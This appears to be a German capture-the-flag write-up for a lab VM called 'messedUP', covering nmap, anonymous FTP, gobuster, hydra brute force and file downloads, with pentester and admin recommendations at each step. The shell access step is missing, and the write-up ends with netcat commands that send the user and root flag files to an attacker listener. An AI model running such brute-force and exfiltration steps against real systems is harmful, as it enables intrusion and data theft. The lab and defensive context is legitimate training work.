192.168.2.116 08:00:27:95:a8:8c PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan identifiziert aktive Hosts im lokalen Netzwerk.
Bewertung: Der Host `192.168.2.116` wird gefunden. Die MAC-Adresse gehört zu Oracle VirtualBox.
Empfehlung (Pentester):** Ziel-IP ist bekannt. Führen Sie einen Portscan durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-30 23:22 CET Nmap scan report for messedUP (192.168.2.116) Host is up (0.00023s latency). Not shown: 65525 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open http SimpleHTTPServer 0.6 (Python 3.7.3) <-- Falsche Port/Service Zuordnung! |_http-server-header: SimpleHTTP/0.6 Python/3.7.3 |_http-title: Directory listing for / |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 80/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) <-- Falsche Port/Service Zuordnung! | ssh-hostkey: | 2048 5d412ac12d3b6c78b3afae9d42fe88b8 (RSA) | 256 3ce964eb84fe5c839407276c1214c84c (ECDSA) |_ 256 099b2b18de6c6df88b15df6c0fc07cb2 (ED25519) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3 2049/udp nfs | 100003 3 2049/udp6 nfs | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 34792/udp mountd | 100005 1,2,3 38963/tcp6 mountd | 100005 1,2,3 45365/udp6 mountd | 100005 1,2,3 51113/tcp mountd | 100021 1,3,4 40897/tcp6 nlockmgr | 100021 1,3,4 44607/tcp nlockmgr | 100021 1,3,4 51549/udp6 nlockmgr | 100021 1,3,4 59008/udp nlockmgr | 100227 3 2049/tcp nfs_acl | 100227 3 2049/tcp6 nfs_acl | 100227 3 2049/udp nfs_acl |_ 100227 3 2049/udp6 nfs_acl 2049/tcp open nfs_acl 3 (RPC #100227) 8080/tcp open ftp vsftpd 2.0.8 or later <-- Nicht-Standard Port | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.153 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 0 0 320 Jan 11 2021 idiot.txt [NSE: writeable] <-- Anonym, beschreibbar! 36107/tcp filtered mountd 1-3 (RPC #100005) <-- Port gefiltert im Original 40717/tcp filtered mountd 1-3 (RPC #100005) <-- Port gefiltert im Original 44607/tcp open nlockmgr 1-4 (RPC #100021) 51113/tcp open mountd 1-3 (RPC #100005) 65000/tcp filtered unknown MAC Address: 08:00:27:95:A8:8C (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.23 ms messedUP (192.168.2.116) OS and Service detection performed... Nmap done: 1 IP address (1 host up) scanned in ... seconds
Analyse: Ein detaillierter Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) wird auf `192.168.2.116` ausgeführt.
Bewertung: Der Scan zeigt eine sehr ungewöhnliche Port-/Dienst-Konfiguration: * **Port 22:** Wird fälschlicherweise als `http` (SimpleHTTPServer) identifiziert. Nmap hat Schwierigkeiten, den Dienst korrekt zu erkennen, was auf eine ungewöhnliche Konfiguration oder einen Fehler hindeutet. * **Port 80:** Wird fälschlicherweise als `ssh` (OpenSSH 7.9p1) identifiziert. Das ist definitiv falsch und deutet auf Port-Forwarding, einen Proxy oder eine absichtliche Fehlkonfiguration hin. * **Port 111:** `rpcbind` ist offen und listet NFS- und Mountd-Dienste auf. NFS (Port 2049) ist ein wichtiger potenzieller Angriffsvektor. * **Port 2049:** NFS ist bestätigt. * **Port 8080:** Hier läuft ein `vsftpd` FTP-Server (Version 3.0.3 laut `ftp-syst`). **Wichtig:** Anonymer Login ist erlaubt und das Root-Verzeichnis scheint beschreibbar zu sein (`idiot.txt [NSE: writeable]`). * **Andere Ports:** Mehrere RPC-bezogene Ports (`mountd`, `nlockmgr`) sind auf hohen, dynamischen Ports offen. Port 65000 ist gefiltert.
Empfehlung (Pentester):** Das System ist stark fehlkonfiguriert ("MessedUP").
1. **FTP (Port 8080):** Priorität! Anonymer Login und Schreibrechte sind wahrscheinlich der einfachste Einstiegspunkt. Verbinden Sie sich anonym per FTP, laden Sie die `idiot.txt` herunter und untersuchen Sie die Berechtigungen. Versuchen Sie, eine Shell oder einen SSH-Schlüssel hochzuladen.
2. **NFS (Port 2049):** Prüfen Sie, welche Verzeichnisse über NFS freigegeben sind (`showmount -e 192.168.2.116`) und ob diese ohne Authentifizierung gemountet werden können.
3. **Ports 22/80:** Versuchen Sie, manuell zu klären, welcher Dienst auf welchem Port läuft (`nc -nv 192.168.2.116 22`, `nc -nv 192.168.2.116 80`). Wahrscheinlich läuft SSH auf 80 und HTTP auf 22.
Empfehlung (Admin):** Das System muss dringend überarbeitet werden!
1. Korrigieren Sie die Port-Zuweisungen (SSH auf 22, HTTP auf 80, FTP auf 21 oder deaktivieren).
2. Deaktivieren Sie den anonymen FTP-Zugriff und entfernen Sie Schreibrechte für anonyme Benutzer.
3. Konfigurieren Sie NFS sicher (Zugriffsbeschränkungen, `no_root_squash` vermeiden).
4. Überprüfen Sie die Firewall-Regeln.
5. Entfernen Sie unnötige RPC-Dienste.
Analyse: Ein `gobuster`-Scan wird auf Port 80 (wo Nmap fälschlicherweise SSH vermutet) gestartet.
===============================================================
Gobuster v3.2.0-dev
...
===============================================================
[+] Url: http://192.168.2.116
...
===============================================================
2022/10/30 23:22:37 Starting gobuster in directory enumeration mode
===============================================================
Error: error on running gobuster: unable to connect to http://192.168.2.116/: Get "http://192.168.2.116/": net/http: HTTP/1.x transport connection broken: malformed HTTP status code "Debian-10+deb10u2"
Bewertung: Der `gobuster`-Scan schlägt fehl. Die Fehlermeldung ("malformed HTTP status code 'Debian-10+deb10u2'") bestätigt, dass auf Port 80 kein HTTP-Server läuft, sondern wahrscheinlich der SSH-Server antwortet (der String stammt vermutlich vom SSH-Banner).
Empfehlung (Pentester):** Ignorieren Sie Port 80 für Web-Enumeration. Konzentrieren Sie sich auf Port 22 (wahrscheinlich HTTP) und Port 8080 (FTP).
Empfehlung (Admin):** Korrigieren Sie die Port-Zuweisungen.
Analyse: Es wird versucht, sich anonym per FTP auf Port 8080 zu verbinden und die Datei `idiot.txt` herunterzuladen.
--2022-10-30 23:40:10-- ftp://192.168.2.116:8080/idiot.txt => 192.168.2.116:8080/.listing Connecting to 192.168.2.116:8080... connected. Logging in as anonymous ... Logged in! > SYST ... done. > PWD ... done. > TYPE I ... done. > CWD not required. > PASV ... done. > LIST ... done. 192.168.2.116:8080/.listing [ <=> ] 186 --.-KB/s in 0s 2022-10-30 23:40:10 (3.50 MB/s) - ‘192.168.2.116:8080/.listing’ saved [186] ‘192.168.2.116:8080/.listing’ deleted. <-- Wget löscht die Listing-Datei wieder --2022-10-30 23:40:10-- ftp://192.168.2.116:8080/idiot.txt => 192.168.2.116:8080/idiot.txt > CWD not required. > PASV ... done. > RETR idiot.txt ... done. Length: 320 192.168.2.116:8080/idiot.txt 100%[=================================================================>] 320 --.-KB/s in 0.007s 2022-10-30 23:40:10 (45.3 KB/s) - ‘192.168.2.116:8080/idiot.txt’ saved [320/320] FINISHED --2022-10-30 23:40:10-- Total wall clock time: 0.03s Downloaded: 1 files, 320 in 0.007s (44.9 KB/s)
Bewertung: Der anonyme FTP-Login auf Port 8080 ist erfolgreich. Die Datei `idiot.txt` konnte heruntergeladen werden.
Empfehlung (Pentester):** Analysieren Sie den Inhalt von `idiot.txt`. Nutzen Sie den anonymen FTP-Zugriff weiter, um Verzeichnisse zu listen und Schreibrechte zu testen.
Empfehlung (Admin):** Deaktivieren Sie den anonymen FTP-Zugriff sofort.
Analyse: Der Inhalt der heruntergeladenen Datei `idiot.txt` wird angezeigt.
Hey skinny What an idiot you are? I am going to fire you. Are you out of your mind ??? You have made my server a complete *MESS*. All services are running on non-standard ports ? Why the hell are you doing this? Why the hell you have placed file '125.zip' on TFTP server. You idiot. Revert all settings. Regards, Boss
Bewertung: Die Datei enthält eine Nachricht vom "Boss" an "skinny". Wichtige Informationen daraus: * **Benutzername:** `skinny` ist ein potenzieller Benutzername. * **Fehlkonfiguration:** Bestätigt, dass Dienste auf Nicht-Standard-Ports laufen. * **TFTP-Server:** Es wird erwähnt, dass eine Datei `125.zip` auf einem TFTP-Server platziert wurde. TFTP läuft typischerweise auf UDP Port 69, wurde aber im Nmap-Scan nicht gefunden (Nmap scannte nur TCP). * **Hinweis "MESS":** Könnte ein weiterer Hinweis oder Teil eines Passworts sein.
Empfehlung (Pentester):**
1. Versuchen Sie einen Brute-Force-Angriff auf SSH (Port 80?) oder FTP (Port 8080?) mit dem Benutzernamen `skinny`.
2. Führen Sie einen UDP-Scan auf Port 69 durch, um den TFTP-Server zu finden (`nmap -sU -p 69 192.168.2.116`).
3. Falls TFTP offen ist, versuchen Sie, die Datei `125.zip` herunterzuladen (`tftp 192.168.2.116` dann `get 125.zip`).
4. Analysieren Sie die heruntergeladene ZIP-Datei.
Empfehlung (Admin):** Schulen Sie Mitarbeiter im Umgang mit sensiblen Informationen und Konfigurationen. Deaktivieren Sie unnötige Dienste wie TFTP, wenn nicht benötigt, oder konfigurieren Sie sie sicher (Zugriffsbeschränkungen).
Analyse: Ein Brute-Force-Angriff mit `hydra` wird auf den FTP-Server (Port 8080) für den Benutzer `skinny` gestartet.
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak ...
...
[DATA] attacking ftp://192.168.2.116:8080/
... [Keine Erfolgsmeldung im Log gezeigt] ...
Bewertung: Der `hydra`-Scan scheint kein Ergebnis zu liefern (keine Erfolgsmeldung im bereitgestellten Log). Das Passwort für `skinny` ist wahrscheinlich nicht in der `rockyou.txt` enthalten oder der Benutzer existiert nicht auf dem FTP-Server.
Empfehlung (Pentester):** Brechen Sie den `hydra`-Scan ab oder lassen Sie ihn im Hintergrund laufen. Konzentrieren Sie sich auf die anderen Hinweise, insbesondere TFTP und die Untersuchung des HTTP-Dienstes auf Port 22.
Empfehlung (Admin):** Starke Passwörter verwenden.
Analyse: Es wird versucht, auf den Dienst auf Port 22 (vermutlich HTTP) mit `curl` zuzugreifen.
Directory listing for /
- hole.jpg
- Just%20hanging%20out%20with%20a%20bear%20-%20WTF.mp4 > Just hanging out with a bear - WTF.mp4
<-- Maskierung >
- ST%20returns.zip > ST returns.zip
<-- Maskierung >
Bewertung: Erfolg! Port 22 antwortet tatsächlich als HTTP-Server (SimpleHTTPServer, wie Nmap vermutete). Er zeigt ein Directory Listing mit drei Dateien an: `hole.jpg`, `Just hanging out with a bear - WTF.mp4` und `ST returns.zip`.
Analyse Fortsetzung:** Die ZIP-Datei wird heruntergeladen.
--2022-11-25 10:33:14-- http://192.168.2.116:22/ST%20returns.zip Connecting to 192.168.2.116:22... connected. HTTP request sent, awaiting response... 200 OK Length: 3444974 (3.3M) [application/zip] Saving to: ‘ST returns.zip’ ST returns.zip 100%[==============================>] 3.29M --.-KB/s in 0.09s 2022-11-25 10:33:14 (36.1 MB/s) - ‘ST returns.zip’ saved [3444974/3444974]
Analyse Fortsetzung:** Die heruntergeladene ZIP-Datei wird entpackt.
total 3372 -rw-r--r-- 1 root root 320 Jan 11 2021 idiot.txt -rw-r--r-- 1 root root 3444974 Jan 11 2021 'ST returns.zip'
Archive: ST returns.zip
inflating: ST returns.mp4
Bewertung: Die ZIP-Datei enthält eine MP4-Datei. Diese sollte auf Hinweise oder versteckte Daten untersucht werden (z.B. Metadaten, Steganographie, Analyse mit Video-Tools).
Empfehlung (Pentester):** Analysieren Sie die Datei `ST returns.mp4`. Versuchen Sie auch, die Datei `125.zip` vom TFTP-Server zu bekommen (UDP-Scan auf Port 69, dann `tftp ... get 125.zip`). Der weitere Weg zur Kompromittierung ist im Log nicht ersichtlich.
Empfehlung (Admin):** Korrigieren Sie die Portzuweisungen. Deaktivieren Sie Directory Listing auf dem HTTP-Server. Speichern Sie keine potenziell sensiblen Dateien im Webroot.
Analyse: Der bereitgestellte Text springt zur Exfiltration der Flags. Es wird angenommen, dass durch Ausnutzung einer nicht dokumentierten Schwachstelle (möglicherweise im Zusammenhang mit den ZIP/MP4-Dateien, TFTP oder NFS) ein Shell-Zugriff erlangt wurde. Von dieser Shell aus werden die Inhalte der User- und Root-Flag-Dateien mittels `cat` und `nc` an einen Listener auf dem Angreifer-System gesendet.
cat /home/skinny/user.txt | nc -w 3 192.168.2.109 4444 <-- Falsche Angreifer-IP? cat /root/root.txt | nc -w 3 192.168.2.109 4444 <-- Falsche Angreifer-IP?
Analyse Fortsetzung:** Auf dem Angreifer-System wird ein Netcat-Listener gestartet, der die eingehenden Daten in eine Datei `flags.txt` schreibt.
Analyse Fortsetzung:** Der Inhalt der empfangenen Datei wird angezeigt.
___.-~"~-._ __....__ .' ` \ ~"~ ``-. /` _ ) `\ `\ /` a) / | `\ :` / | \ <`-._|` .-. ( / . `;\\ <-- Maskierung: < `-. `--'_.'-.;\___/' . . | \\ _ /:--` | / / .' \\ ("\ /`/ | ' ' / :`; `\'\_/`/ .\ /`~`=-.: / `` `._.' /`\ | `\ /( / /\ | `Y / \ jgs J / Y | | /`\ \ / | | | | | | | "---" /___| /___| /__| '""" '""" '""" RootFlag: 54CE6117EBEBCB4F10781C11FD2896ED191F2182
User Flag: E9619156E7290E79C226FBF1451F400A5EA35107
Bewertung: Die Exfiltration der Flags mittels `nc` war erfolgreich. Die Methode ist einfach, erfordert aber Shell-Zugriff und Leserechte auf die Flag-Dateien. Der Weg zu diesem Shell-Zugriff und den Leserechten bleibt im Log undokumentiert.
Empfehlung (Pentester):** Dokumentieren Sie den Weg, wie Shell-Zugriff erlangt wurde. Diese Exfiltrationsmethode ist effektiv für CTFs.
Empfehlung (Admin):** Der Fokus liegt auf der Verhinderung des initialen Zugriffs und der Privilegieneskalation, die dieser Exfiltration vorausgingen. Überwachen Sie ausgehende Netzwerkverbindungen auf ungewöhnliche Ports oder Datenübertragungen.